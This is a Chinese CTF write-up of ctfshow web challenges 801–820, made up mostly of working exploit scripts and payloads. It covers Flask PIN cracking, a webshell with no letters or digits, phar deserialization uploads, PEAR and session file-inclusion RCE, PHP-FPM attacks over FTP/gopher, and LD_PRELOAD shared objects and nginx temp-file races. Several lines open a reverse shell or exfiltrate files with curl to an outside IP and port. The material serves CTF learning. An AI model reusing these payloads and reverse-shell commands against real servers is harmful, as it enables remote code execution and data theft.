[ctfshow]常用姿势 简介 一些近两年来比赛中常用到的姿势
web801 flask算pin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from flask import Flask, requestapp = Flask(__name__) @app.route("/" ) def hello (): return "Welcome to ctfshow file download system, use /file?filename= to download file,my debug mode is enable." @app.route("/file" ) def file (): filename = request.args.get('filename' ) with open (filename, 'r' ) as f: return f.read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=80 , debug=True )
读相关文件算pin码即可,记录一下可行的脚本
md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import hashlibimport getpassfrom flask import Flaskfrom itertools import chainimport sysimport uuidusername=getpass.getuser() app = Flask(__name__) modname=getattr (app, "__module__" , app.__class__.__module__) mod = sys.modules.get(modname) probably_public_bits = [ username, modname, getattr (app, "__name__" , app.__class__.__name__), getattr (mod, "__file__" , None ), ] mac ='02:42:ac:0c:ac:28' .replace(':' ,'' ) mac=str (int (mac,base=16 )) private_bits = [ mac, "机器码" ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode("utf-8" ) h.update(bit) h.update(b"cookiesalt" ) cookie_name = "__wzd" + h.hexdigest()[:20 ] num=None if num is None : h.update(b"pinsalt" ) num = ("%09d" % int (h.hexdigest(), 16 ))[:9 ] rv=None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join( num[x : x + group_size].rjust(group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num print (rv)
sha1:py38适用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import hashlibimport getpassfrom flask import Flaskfrom itertools import chainimport sysimport uuidimport typing as tusername='root' app = Flask(__name__) modname=getattr (app, "__module__" , t.cast(object , app).__class__.__module__) mod=sys.modules.get(modname) mod = getattr (mod, "__file__" , None ) probably_public_bits = [ username, modname, getattr (app, "__name__" , app.__class__.__name__), '/usr/local/lib/python3.8/site-packages/flask/app.py' , ] print (probably_public_bits)mac ='02:42:ac:0c:ac:28' .replace(':' ,'' ) mac=str (int (mac,base=16 )) private_bits = [ mac, "机器码" ] print (private_bits)h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode("utf-8" ) h.update(bit) h.update(b"cookiesalt" ) cookie_name = f"__wzd{h.hexdigest()[:20 ]} " h.update(b"pinsalt" ) num = f"{int (h.hexdigest(), 16 ):09d} " [:9 ] rv=None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join( num[x : x + group_size].rjust(group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num print (rv)
需要填的值就一个变化的地方—机器码。旧版的只需要读取/proc/self/cgroup即可,但是新增需要在前面再拼上/etc/machine-id或者/proc/sys/kernel/random/boot_id的值
web802 无字母数字webshell 1 ("%13%19%13%14%05%0d" ^"%60%60%60%60%60%60" )("%03%01%14%00%06%0c%01%07%00%10%08%10" ^"%60%60%60%20%60%60%60%60%2e%60%60%60" );
直接构造异或拼接,其他方式有很多很多
web803 phar 生成phar:
1 2 3 4 5 6 7 8 9 10 <?php @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->addFromString ("test.txt" , "<?php eval(\$_POST[1]);" ); $phar ->stopBuffering ();?>
上传&getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport timedata1 = { 'file' :'/tmp/1.phar' , 'content' :open ('./1.phar' ,'rb' ).read() } data2 = { 'file' :'phar:///tmp/1.phar/test' , 'content' :'1' , '1' :"echo system('tac f*');" } url = "http://8dff98b5-c424-42b0-80f2-8cd67b9d0866.challenge.ctf.show/index.php" r1 = requests.post(url=url,data=data1) print (r1.text)time.sleep(1 ) r2 = requests.post(url=url,data=data2) print (r2.text)
web805 反序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class hacker { public $code = "echo system('cat f*');" ; } $o = new hacker ();@unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "<?php eval(\$_POST[1]);" ); $phar ->stopBuffering ();?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport timedata1 = { 'file' :'/tmp/1.phar' , 'content' :open ('./1.phar' ,'rb' ).read() } data2 = { 'file' :'phar:///tmp/1.phar/test' , 'content' :'1' , } url = "http://f41ee967-9ea2-44a4-a865-34628612de63.challenge.ctf.show/index.php" r1 = requests.post(url=url,data=data1) print (r1.text)time.sleep(1 ) r2 = requests.post(url=url,data=data2) print (r2.text)
web804 绕过open_base_dir 写入1,然后直接下载即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mkdir("A" ); chdir("A" ); mkdir("B" ); chdir("B" ); mkdir("C" ); chdir("C" ); mkdir("D" ); chdir("D" ); chdir(".." ); chdir(".." ); chdir(".." ); chdir(".." ); symlink("A/B/C/D" ,"SD" ); symlink("SD/../../../../ctfshowflag" ,"1" ); unlink("SD" ); mkdir("SD" );
web806 php无参rce 1 2 /?code=eval (array_pop(next (get_defined_vars()))); post直接可以rce
web807 反弹shell 群主的网站,只要curl就能弹shell:https://your-shell.com/
这道题貌似只能curl
web808 php7.0 Segfault LFI or php session LFI 解法1: php线程崩溃导致临时文件被保存
1 2 3 4 5 6 7 8 9 10 $file = $_GET ['file' ];if (isset ($file ) && !preg_match ("/input|data|phar|log/i" ,$file )){ include $file ; }else { show_source (__FILE__ ); print_r (scandir ("/tmp" )); }
1 2 3 4 5 6 7 8 9 10 11 12 import requestsimport re url = "http://13d3ac5b-6c38-41c9-9364-ada319d284d3.challenge.ctf.show/" file={ 'file' :'<?php system("cat /*");?>' } requests.post(url+'?file=php://filter/string.strip_tags/resource=/etc/passwd' ,files=file) r=requests.get(url) tmp=re.findall('=> (php.*?)\\n' ,r.text,re.S)[-1 ] r=requests.get(url+'?file=/tmp/' +tmp) print (r.text)
核心是?file=php://filter/string.strip_tags/resource=/etc/passwd
会让php的线程崩溃
解法2: 包含session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport threadingsession=requests.session() sess='flag' url1="http://13d3ac5b-6c38-41c9-9364-ada319d284d3.challenge.ctf.show/" url2='http://13d3ac5b-6c38-41c9-9364-ada319d284d3.challenge.ctf.show/?file=/tmp/sess_flag' data1={ 'PHP_SESSION_UPLOAD_PROGRESS' :'<?php eval($_POST[1]);?>' } data2={ '1' :'echo 11123;system("cat /f*");' , } file={ 'file' :'1' } cookies={ 'PHPSESSID' : sess } def write (): while True : r = session.post(url1,data=data1,files=file,cookies=cookies) def read (): while True : r = session.post(url2,data=data2) if '11123' in r.text: print (r.text) if __name__=="__main__" : event=threading.Event() with requests.session() as session: for i in range (1 ,30 ): threading.Thread(target=write).start() for i in range (1 ,30 ): threading.Thread(target=read).start() event.set ()
web809 pear文件包含/RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 error_reporting(0 ); $file = $_GET['file' ]; if (isset($file) && !preg_match("/input|data|phar|log|filter/i" ,$file)){ include $file; }else { show_source(__FILE__); if (isset($_GET['info' ])){ phpinfo(); } }
可以看p牛的文章:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
1 /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=system('cat /f*' );?>+/tmp/hello.php
1 2 3 4 5 6 7 8 9 10 GET /?file=/usr/local/lib/php/pearcmd.php&+config-create+/?><?=eval ($_POST[1 ]);?>+/tmp/1. txt HTTP/1.1 Host: e38c9852-ecd9-442b-984d-3b773381fc5a.challenge.ctf.show Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0 .4951 .54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*/*;q=0.8 ,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 ,en;q=0.8 Connection: close
web810 SSRF打PHP-FPM 用gopherus生成payload打就行
后面的%00需要url编码
web811 file_put_contents打PHP-FPM 1 2 3 4 5 6 7 8 9 error_reporting (0 );highlight_file (__FILE__ );$file = $_GET ['file' ];$content = $_GET ['content' ];file_put_contents ($file , $content );
可以通过搭建恶意ftp服务器攻击9000端口的php-fpm
1 file=ftp://aaa@1.117 .144 .41 :23 /123 &content=%01%01%00 %01%00 %08%00 %00 %00 %01%00 %00 %00 %00 %00 %00 %01%04%00 %01%00 %F6%06%00 %0F%10SERVER_SOFTWAREgo%20 /%20fcgiclient%20 %0B%09REMOTE_ADDR127.0 .0 .1 %0F%08SERVER_PROTOCOLHTTP/1.1 %0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20 %3D%20On%0Adisable_functions%20 %3D%20 %0Aauto_prepend_file%20 %3D%20php%3A//input %0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00 %00 %00 %00 %00 %00 %01%04%00 %01%00 %00 %00 %00 %01%05%00 %01%00 %5C%04%00 %3C%3Fphp%20system%28 %27curl%20http%3A//1.117 .144 .41 %3A4444/%60cat%20 /f%2A%60 /%27 %29 %3Bdie%28 %27 -----Made-by-SpyD3r-----%0A%27 %29 %3B%3F%3E%00 %00 %00 %00
开恶意ftp服务器然后打就行
web812 PHP-FPM未授权 https://github.com/wuyunfeng/Python-FastCGI-Client
1 python exp.py -c '<?php system("cat /f*");?>' -p 28026 pwn.challenge.ctf.show /usr/local/lib/php/System.php
web813 劫持mysqli.so 同样是开了FASTCGI,但是这道题本意让我们用恶意so拓展打
题目满足条件:
extension目录已知且可写
命令行或fpm能够加载恶意拓展文件
有调用自定义函数
所以主要是考察编写php的拓展so文件从而达到劫持
这里用ext_skel框架开发扩展
https://www.php.net/releases/ 下载相应版本源码包
1 php ext_skel.php --ext ctfshow --std
然后编译
1 2 3 phpize ./configure --with-php-config=/www/server/php/73 /bin/php-config make && make install
接着把生成的恶意so文件传到目标服务器的extension目录即可
这里自己尝试的时候的坑:
如果用例如宝塔安装的php,要指定他的php-config文件
php-config要和你下载源码,也就是想重写的so文件的php版本一样,否则不能成功
一定要让目标重新把我们恶意的so扩展加载之后才能打
web814 LD_PRELOAD getuid
1 2 3 4 5 6 7 8 9 10 11 12 void payload (){ system ("curl https://your-shell.com/1.117.144.41:4444 | sh" ); } int getuid (){ if (getenv ("LD_PRELOAD" )==NULL ){ return 0 ;} unsetenv ("LD_PRELOAD" ); payload (); }
1 gcc -c -fPIC poc.c -o hack&&gcc --share hack -o hack.so
web815 劫持构造器 1 2 3 4 5 6 7 8 9 __attribute__ ((__constructor__)) void preload (void ) { unsetenv ("LD_PRELOAD" ); system ("curl https://your-shell.com/1.117.144.41:4444 | sh" ); }
web816 临时文件利用 1 2 3 4 5 6 7 $env = $_GET ['env' ];if (isset ($env )){ putenv ($env .scandir ("/tmp" )[2 ]); system ("echo ctfshow" ); }else { highlight_file (__FILE__ ); }
往tmp目录下面传临时文件,把LD_PRELOAD指向临时文件
1 2 3 4 5 6 7 8 import requestsurl="http://da7e9cb2-9fd2-4b66-a4d3-a46b3927d67f.challenge.ctf.show/?env=LD_PRELOAD=/tmp/" files={'file' :open ('hack.so' ,'rb' ).read()} response=requests.post(url,files=files) response=requests.post(url,files=files) html = response.text print (html)
web817 nginx缓存临时文件 1 2 3 4 5 $file = $_GET ['file' ];if (isset ($file ) && preg_match ("/^\/(\w+\/?)+$/" , $file )){ shell_exec (shell_exec ("cat $file " )); }
由于我是先做的818,所以这里是818之后,仿照羽师傅的脚本自己写的,思路也就是nginx缓存,然后去包含/proc/fid/fd/{fd}下的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import socketimport reimport threadingport = 28144 s = socket.socket() s.connect(('pwn.challenge.ctf.show' ,port)) s.send(f'''GET / HTTP/1.1 Host:127.0.0.1 Connection: close ''' .encode())rev=s.recv(1024 ).decode() s.close() pid = re.findall("(.*?)www-data" ,rev)[0 ].strip() print (pid)con = "curl http://1.117.144.41:4444/`cat /*`;" + "5" * 1024 * 500 def upload (): while True : s = socket.socket() s.connect(('pwn.challenge.ctf.show' ,port)) l = len (con) x = f'''POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: {l} Content-Type: application/x-www-form-urlencoded Connection: close {con} ''' .encode() s.send(x) s.close() def bruter (): while True : for fd in range (3 ,40 ): print (fd) s=socket.socket() s.connect(('pwn.challenge.ctf.show' ,port)) s.send(f'''GET /?file=/proc/{pid} /fd/{fd} HTTP/1.1 Host: 127.0.0.1 User-Agent: fuckyou Connection: close ''' .encode()) print (s.recv(2048 ).decode()) s.close() for i in range (30 ): t = threading.Thread(target=upload) t.start() for f in range (30 ): a = threading.Thread(target=bruter) a.start()
web818 nginx body缓存写入临时文件 原理略,整理在另一篇笔记
直接学习羽师傅脚本即可,他这里是用socket库来进行网络请求的。
关键点是31行的恶意字节填充,让hack.so的文件内容写入nginx产生的临时文件
接着用bruter函数对proc目录进行一个爆破即可,这里的pid题目中会给到,所以只用爆破后面的fd即可
羽师傅的脚本真的清晰,学习了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import threadingimport socketimport report= 28118 s=socket.socket() s.connect(('pwn.challenge.ctf.show' ,port)) s.send(f'''GET / HTTP/1.1 Host:127.0.0.1 ''' .encode())data=s.recv(1024 ).decode() s.close() pid = re.findall('(.*?) www-data' ,data)[0 ].strip() print (pid)l=str (len (open ('../hack.so' ,'rb' ).read()+b'\n' *1024 *200 )).encode() def upload (): while True : s=socket.socket() s.connect(('pwn.challenge.ctf.show' ,port)) x=b'''POST / HTTP/1.1 Host: 127.0.0.1 User-Agent: yu22x Content-Length: ''' +l+b''' Content-Type: application/x-www-form-urlencoded Connection: close ''' +open ('../hack.so' ,'rb' ).read()+b'\n' *1024 *200 +b''' ''' s.send(x) s.close() def bruter (): while True : for fd in range (3 ,40 ): print (fd) s=socket.socket() s.connect(('pwn.challenge.ctf.show' ,port)) s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid} /fd/{fd} HTTP/1.1 Host: 127.0.0.1 User-Agent: yu22x Connection: close ''' .encode()) print (s.recv(2048 ).decode()) s.close() for i in range (30 ): t = threading.Thread(target=upload) t.start() for j in range (30 ): a = threading.Thread(target=bruter) a.start()
web819 环境变量注入 1 2 3 4 5 6 7 $env = $_GET['env' ]; if (isset($env)){ putenv($env); system("whoami" ); }else { highlight_file(__FILE__); }
1 ?env=BASH_FUNC_whoami%%=() { cat /f*; }
参照p牛的文章
web820 奇怪的jpg型webshell 1 2 3 4 5 6 7 8 9 10 11 12 13 if (strlen ($_FILES ['file' ]['tmp_name' ])>0 ){ $filetype = $_FILES ['file' ]['type' ]; $tmpname = $_FILES ['file' ]['tmp_name' ]; $ef = getimagesize ($tmpname ); if ( ($filetype =="image/jpeg" ) && ($ef !=false ) && ($ef ['mime' ]=='image/jpeg' )){ $content = base64_decode (file_get_contents ($tmpname )); file_put_contents ("shell.php" , $content ); echo "file upload success!" ; } }else { highlight_file (__FILE__ ); }
主要是base64_decode这个函数在解码的时候仅保留26+26+2+10,也就是base64里的64个有效字符,其他字符会丢弃
因此可以构造一个jpg,解码后是个webshell
可以用010对一个1*1像素的图片构造